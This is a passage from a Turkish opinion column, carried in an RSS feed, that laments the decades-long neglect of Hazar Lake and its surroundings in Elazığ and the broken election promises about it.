Ankara&#8217;ya dönüşte buraya yeterli ödeneğin ayrılmasını ve çalışmaların hemen başlatılması talimatını verir.Ancak kısa bir süre Mustafa Kemal Atatürk&#8221;ün rahatsızlığı ve sonrasında vefatı nedeniyle bu projeler yarım kalmış ve o günden sonra Hazar Gölü ve çevresi kendi kaderine terk edilmiştir.Aradan geçen seksen dört yılda hiçbir kazık çakılmadı.Göl ve çevresi atıklardan geçilmiyor.Doğru düzgün dinlenme tesisi,konaklama ve barınma tesisleri yok.Göl çevresinde ağaç arıyor insan gölgesinde oturup bu eşsiz maviyi seyretmek için,maalesef o da yok.Var olan tesisler de çürümeye terkedilmiş.<br />
Etrafını çevreleyen dağlar yine dımdızlak şekilde.Oysa bu göl sadece Elazığ&#8217;ın değil,bölgenin değil dünyanın sayılı manzaradaki göllerinden biri.Bu eşsiz mavi de her geçen gün ferini yitiriyor.Seçim meydanlarında verilen vaatler sahibini arıyor.Ne vaat verenler var ortada ne de bu vaatleri sahiplenenler.Yazımın başında belirttiğim gibi,iyi bir gözlemciyimdir.Çocukluğumdan beri kıyısından gelip geçtiğim bu göl için durum günden güne kötüye gidiyor. Tıpkı Elazığ gibi,Elazığ&#8217;ın kronikleşen ve çözülemeyen sorunları gibi.Ne zaman iyi şeyler yazacağız bu köşede bilmiyorum ama sanırım uzun bir süre daha bu böyle gidecek.Anlayacağınız artık Elazığ için durum “stabil” olmanın ötesinde bir yerde,kısacası Elazığ artık “Komalık” .<br />
Daha güzel,daha yaşanabilir,sorunsuz bir Elazığ dileğiyle&#8230;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
